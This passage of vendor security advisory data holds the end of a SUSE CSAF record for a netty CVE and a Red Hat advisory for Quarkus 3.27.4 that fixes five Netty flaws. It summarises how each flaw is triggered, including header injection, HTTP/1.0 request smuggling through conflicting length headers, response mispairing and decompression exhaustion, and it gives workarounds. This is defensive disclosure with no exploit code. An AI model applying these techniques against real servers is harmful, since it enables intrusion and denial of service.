"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-44248",
"url": "https://www.suse.com/security/cve/CVE-2026-44248"
},
{
"category": "external",
"summary": "SUSE Bug 1265293 for CVE-2026-44248",
"url": "https://bugzilla.suse.com/1265293"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x",
"openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-05-16T00:00:00Z",
"details": "moderate"
}
],
"title": "CVE-2026-44248"
}
]
}
RHSA-2026:23808
Vulnerability from csaf_redhat - Published: 2026-06-10 12:05 - Updated: 2026-08-21 05:55Summary
Red Hat Security Advisory: Red Hat build of Quarkus 3.27.4 release and security update
Severity
Important
Notes
Topic: An update is now available for Red Hat build of Quarkus.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability. For more information, see the CVE links in the References section.
Details: This release of Red Hat build of Quarkus 3.27.4 includes the following CVE fixes:
* netty-codec-dns: Netty: High integrity impact due to improper DNS domain name constraint enforcement [quarkus-3.27] (CVE-2026-42579)
* netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion [quarkus-3.27] (CVE-2026-42584)
* netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers [quarkus-3.27] (CVE-2026-42581)
* netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation [quarkus-3.27] (CVE-2026-42578)
* netty-codec-http: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression [quarkus-3.27] (CVE-2026-42587)
* netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression [quarkus-3.27] (CVE-2026-42587)
For more information, see the release notes page listed in the References section.
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in Netty. The HttpProxyHandler component, which handles HTTP CONNECT requests, does not properly validate user-provided outbound headers. This allows an attacker to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This could lead to unexpected behavior or potential bypass of security controls on the proxy server.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.27.4
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.27::el8
|
— |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in Netty. Netty's DNS (Domain Name System) codec does not properly enforce domain name constraints as defined in RFC 1035 during both encoding and decoding processes. This vulnerability allows a remote attacker to exploit the decoder using malicious DNS responses or exploit the encoder through user-influenced hostnames, leading to a high integrity impact on the affected system.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.27.4
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.27::el8
|
— |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in Netty's HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both `Transfer-Encoding: chunked` and `Content-Length` headers. While Netty correctly strips the conflicting `Content-Length` header for HTTP/1.1 messages, this guard is absent for HTTP/1.0. This can lead to HTTP request smuggling, where downstream proxies or handlers may misinterpret message boundaries, potentially allowing an attacker to bypass security controls or access unauthorized information.
7.2 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.27.4
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.27::el8
|
— |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in Netty, an asynchronous, event-driven network application framework. A remote attacker could exploit this vulnerability by sending a specific sequence of HTTP responses (103, followed by a 200 with a GET body, then another 200 for a HEAD request) when the client pipelines GET then HEAD requests. This can cause the HttpClientCodec to incorrectly pair responses, leading to subsequent HTTP responses being parsed from the wrong offset. This issue may result in information disclosure or other data integrity problems due to misinterpretation of network traffic.
7.3 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.27.4
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.27::el8
|
— |
Vendor Fix
fix
|
Threats
Impact
Important
A flaw was found in Netty. A remote attacker can bypass the configured decompression limit in the HttpContentDecompressor by sending a specially crafted compressed payload using Brotli (br), Zstandard (zstd), or Snappy content encodings. This can lead to unbounded memory allocation, resulting in an out-of-memory Denial of Service (DoS) for the affected system.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.27.4
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.27::el8
|
— |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
References
62 references
| URL | Category |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:23808 | self |
| https://access.redhat.com/security/updates/classi… | external |
| https://access.redhat.com/products/quarkus/ | external |
| https://access.redhat.com/jbossnetwork/restricted… | external |
| https://docs.redhat.com/en/documentation/red_hat_… | external |
| https://issues.redhat.com/browse/QUARKUS-6793 | external |
| https://issues.redhat.com/browse/QUARKUS-7610 | external |
| https://issues.redhat.com/browse/QUARKUS-7615 | external |
| https://issues.redhat.com/browse/QUARKUS-7616 | external |
| https://issues.redhat.com/browse/QUARKUS-7617 | external |
| https://issues.redhat.com/browse/QUARKUS-7618 | external |
| https://issues.redhat.com/browse/QUARKUS-7619 | external |
| https://issues.redhat.com/browse/QUARKUS-7620 | external |
| https://issues.redhat.com/browse/QUARKUS-7621 | external |
| https://issues.redhat.com/browse/QUARKUS-7622 | external |
| https://issues.redhat.com/browse/QUARKUS-7623 | external |
| https://issues.redhat.com/browse/QUARKUS-7624 | external |
| https://issues.redhat.com/browse/QUARKUS-7625 | external |
| https://issues.redhat.com/browse/QUARKUS-7626 | external |
| https://issues.redhat.com/browse/QUARKUS-7627 | external |
| https://issues.redhat.com/browse/QUARKUS-7628 | external |
| https://issues.redhat.com/browse/QUARKUS-7630 | external |
| https://issues.redhat.com/browse/QUARKUS-7631 | external |
| https://issues.redhat.com/browse/QUARKUS-7632 | external |
| https://issues.redhat.com/browse/QUARKUS-7633 | external |
| https://issues.redhat.com/browse/QUARKUS-7664 | external |
| https://issues.redhat.com/browse/QUARKUS-7774 | external |
| https://issues.redhat.com/browse/QUARKUS-7775 | external |
| https://issues.redhat.com/browse/QUARKUS-7776 | external |
| https://issues.redhat.com/browse/QUARKUS-7777 | external |
| https://issues.redhat.com/browse/QUARKUS-7778 | external |
| https://issues.redhat.com/browse/QUARKUS-7779 | external |
| https://issues.redhat.com/browse/QUARKUS-7780 | external |
| https://issues.redhat.com/browse/QUARKUS-7781 | external |
| https://issues.redhat.com/browse/QUARKUS-7812 | external |
| https://issues.redhat.com/browse/QUARKUS-7813 | external |
| https://security.access.redhat.com/data/csaf/v2/a… | self |
| https://access.redhat.com/security/cve/CVE-2026-42578 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477226 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42578 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42578 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42579 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477217 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42579 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42579 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42581 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477232 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42581 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42581 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42584 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477224 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42584 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42584 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42587 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477220 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42587 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42587 | external |
| https://github.com/netty/netty/security/advisorie… | external |
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "An update is now available for Red Hat build of Quarkus.\n\nRed Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability. For more information, see the CVE links in the References section.",
"title": "Topic"
},
{
"category": "general",
"text": "This release of Red Hat build of Quarkus 3.27.4 includes the following CVE fixes:\n\n* netty-codec-dns: Netty: High integrity impact due to improper DNS domain name constraint enforcement [quarkus-3.27] (CVE-2026-42579)\n\n* netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion [quarkus-3.27] (CVE-2026-42584)\n\n* netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers [quarkus-3.27] (CVE-2026-42581)\n\n* netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation [quarkus-3.27] (CVE-2026-42578)\n\n* netty-codec-http: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression [quarkus-3.27] (CVE-2026-42587)\n\n* netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression [quarkus-3.27] (CVE-2026-42587)\n\nFor more information, see the release notes page listed in the References section.",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:23808",
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/#important",
"url": "https://access.redhat.com/security/updates/classification/#important"
},
{
"category": "external",
"summary": "https://access.redhat.com/products/quarkus/",
"url": "https://access.redhat.com/products/quarkus/"
},
{
"category": "external",
"summary": "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?product=redhat.quarkus\u0026downloadType=distributions\u0026version=3.27.4",
"url": "https://access.redhat.com/jbossnetwork/restricted/listSoftware.html?product=redhat.quarkus\u0026downloadType=distributions\u0026version=3.27.4"
},
{
"category": "external",
"summary": "https://docs.redhat.com/en/documentation/red_hat_build_of_quarkus/3.27",
"url": "https://docs.redhat.com/en/documentation/red_hat_build_of_quarkus/3.27"
},
{
"category": "external",
"summary": "QUARKUS-6793",
"url": "https://issues.redhat.com/browse/QUARKUS-6793"
},
{
"category": "external",
"summary": "QUARKUS-7610",
"url": "https://issues.redhat.com/browse/QUARKUS-7610"
},
{
"category": "external",
"summary": "QUARKUS-7615",
"url": "https://issues.redhat.com/browse/QUARKUS-7615"
},
{
"category": "external",
"summary": "QUARKUS-7616",
"url": "https://issues.redhat.com/browse/QUARKUS-7616"
},
{
"category": "external",
"summary": "QUARKUS-7617",
"url": "https://issues.redhat.com/browse/QUARKUS-7617"
},
{
"category": "external",
"summary": "QUARKUS-7618",
"url": "https://issues.redhat.com/browse/QUARKUS-7618"
},
{
"category": "external",
"summary": "QUARKUS-7619",
"url": "https://issues.redhat.com/browse/QUARKUS-7619"
},
{
"category": "external",
"summary": "QUARKUS-7620",
"url": "https://issues.redhat.com/browse/QUARKUS-7620"
},
{
"category": "external",
"summary": "QUARKUS-7621",
"url": "https://issues.redhat.com/browse/QUARKUS-7621"
},
{
"category": "external",
"summary": "QUARKUS-7622",
"url": "https://issues.redhat.com/browse/QUARKUS-7622"
},
{
"category": "external",
"summary": "QUARKUS-7623",
"url": "https://issues.redhat.com/browse/QUARKUS-7623"
},
{
"category": "external",
"summary": "QUARKUS-7624",
"url": "https://issues.redhat.com/browse/QUARKUS-7624"
},
{
"category": "external",
"summary": "QUARKUS-7625",
"url": "https://issues.redhat.com/browse/QUARKUS-7625"
},
{
"category": "external",
"summary": "QUARKUS-7626",
"url": "https://issues.redhat.com/browse/QUARKUS-7626"
},
{
"category": "external",
"summary": "QUARKUS-7627",
"url": "https://issues.redhat.com/browse/QUARKUS-7627"
},
{
"category": "external",
"summary": "QUARKUS-7628",
"url": "https://issues.redhat.com/browse/QUARKUS-7628"
},
{
"category": "external",
"summary": "QUARKUS-7630",
"url": "https://issues.redhat.com/browse/QUARKUS-7630"
},
{
"category": "external",
"summary": "QUARKUS-7631",
"url": "https://issues.redhat.com/browse/QUARKUS-7631"
},
{
"category": "external",
"summary": "QUARKUS-7632",
"url": "https://issues.redhat.com/browse/QUARKUS-7632"
},
{
"category": "external",
"summary": "QUARKUS-7633",
"url": "https://issues.redhat.com/browse/QUARKUS-7633"
},
{
"category": "external",
"summary": "QUARKUS-7664",
"url": "https://issues.redhat.com/browse/QUARKUS-7664"
},
{
"category": "external",
"summary": "QUARKUS-7774",
"url": "https://issues.redhat.com/browse/QUARKUS-7774"
},
{
"category": "external",
"summary": "QUARKUS-7775",
"url": "https://issues.redhat.com/browse/QUARKUS-7775"
},
{
"category": "external",
"summary": "QUARKUS-7776",
"url": "https://issues.redhat.com/browse/QUARKUS-7776"
},
{
"category": "external",
"summary": "QUARKUS-7777",
"url": "https://issues.redhat.com/browse/QUARKUS-7777"
},
{
"category": "external",
"summary": "QUARKUS-7778",
"url": "https://issues.redhat.com/browse/QUARKUS-7778"
},
{
"category": "external",
"summary": "QUARKUS-7779",
"url": "https://issues.redhat.com/browse/QUARKUS-7779"
},
{
"category": "external",
"summary": "QUARKUS-7780",
"url": "https://issues.redhat.com/browse/QUARKUS-7780"
},
{
"category": "external",
"summary": "QUARKUS-7781",
"url": "https://issues.redhat.com/browse/QUARKUS-7781"
},
{
"category": "external",
"summary": "QUARKUS-7812",
"url": "https://issues.redhat.com/browse/QUARKUS-7812"
},
{
"category": "external",
"summary": "QUARKUS-7813",
"url": "https://issues.redhat.com/browse/QUARKUS-7813"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_23808.json"
}
],
"title": "Red Hat Security Advisory: Red Hat build of Quarkus 3.27.4 release and security update",
"tracking": {
"current_release_date": "2026-08-21T05:55:50+00:00",
"generator": {
"date": "2026-08-21T05:55:50+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.16"
}
},
"id": "RHSA-2026:23808",
"initial_release_date": "2026-06-10T12:05:35+00:00",
"revision_history": [
{
"date": "2026-06-10T12:05:35+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-06-10T12:05:35+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-08-21T05:55:50+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat build of Quarkus 3.27.4",
"product": {
"name": "Red Hat build of Quarkus 3.27.4",
"product_id": "Red Hat build of Quarkus 3.27.4",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:quarkus:3.27::el8"
}
}
}
],
"category": "product_family",
"name": "Red Hat build of Quarkus"
}
],
"category": "vendor",
"name": "Red Hat"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-42578",
"cwe": {
"id": "CWE-93",
"name": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)"
},
"discovery_date": "2026-05-13T19:02:00.826936+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477226"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty. The HttpProxyHandler component, which handles HTTP CONNECT requests, does not properly validate user-provided outbound headers. This allows an attacker to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This could lead to unexpected behavior or potential bypass of security controls on the proxy server.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Important: This vulnerability in Netty\u0027s HttpProxyHandler allows for HTTP header injection into CONNECT requests when an attacker can influence outbound headers. The handler\u0027s explicit disabling of header validation could enable proxy-related attacks, such as cache poisoning or bypassing security controls, impacting applications utilizing this component.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.27.4"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42578"
},
{
"category": "external",
"summary": "RHBZ#2477226",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477226"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42578",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42578"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr",
"url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
}
],
"release_date": "2026-05-13T17:57:43.538000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:05:35+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
},
{
"category": "workaround",
"details": "Applications utilizing Netty\u0027s HttpProxyHandler must ensure that any user-controlled input used to populate outbound headers is rigorously sanitized to prevent CRLF injection. If comprehensive input sanitization cannot be implemented, restricting network access to the application that uses the HttpProxyHandler can reduce the attack surface.",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation"
},
{
"cve": "CVE-2026-42579",
"cwe": {
"id": "CWE-1286",
"name": "Improper Validation of Syntactic Correctness of Input"
},
"discovery_date": "2026-05-13T19:01:25.062732+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477217"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty. Netty\u0027s DNS (Domain Name System) codec does not properly enforce domain name constraints as defined in RFC 1035 during both encoding and decoding processes. This vulnerability allows a remote attacker to exploit the decoder using malicious DNS responses or exploit the encoder through user-influenced hostnames, leading to a high integrity impact on the affected system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: Netty: High integrity impact due to improper DNS domain name constraint enforcement",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important integrity flaw in Netty\u0027s DNS codec. The vulnerability arises from insufficient enforcement of RFC 1035 domain name constraints during both encoding and decoding, allowing remote attackers to manipulate DNS responses or user-controlled hostnames. This could lead to a high integrity impact on affected Red Hat products that utilize the vulnerable Netty DNS codec.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.27.4"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42579"
},
{
"category": "external",
"summary": "RHBZ#2477217",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477217"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42579",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42579"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm",
"url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
}
],
"release_date": "2026-05-13T18:01:52.500000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:05:35+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: Netty: High integrity impact due to improper DNS domain name constraint enforcement"
},
{
"cve": "CVE-2026-42581",
"cwe": {
"id": "CWE-444",
"name": "Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)"
},
"discovery_date": "2026-05-13T19:02:26.404511+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477232"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty\u0027s HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both `Transfer-Encoding: chunked` and `Content-Length` headers. While Netty correctly strips the conflicting `Content-Length` header for HTTP/1.1 messages, this guard is absent for HTTP/1.0. This can lead to HTTP request smuggling, where downstream proxies or handlers may misinterpret message boundaries, potentially allowing an attacker to bypass security controls or access unauthorized information.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important flaw. Netty\u0027s HttpObjectDecoder, used across various Red Hat products, improperly handles conflicting `Transfer-Encoding: chunked` and `Content-Length` headers in HTTP/1.0 requests. This allows a remote attacker to perform HTTP request smuggling, potentially bypassing security controls or gaining unauthorized access to information due to misinterpretation of message boundaries by downstream proxies or handlers.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.27.4"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42581"
},
{
"category": "external",
"summary": "RHBZ#2477232",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477232"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42581",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42581"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9",
"url": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9"
}
],
"release_date": "2026-05-13T17:54:44.492000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:05:35+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
},
{
"category": "workaround",
"details": "To mitigate this issue, configure any reverse proxies or load balancers in front of Netty to either reject HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers, or to explicitly prioritize the Transfer-Encoding header over Content-Length for HTTP/1.0 traffic. This ensures consistent interpretation of message boundaries and prevents request smuggling attacks.",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
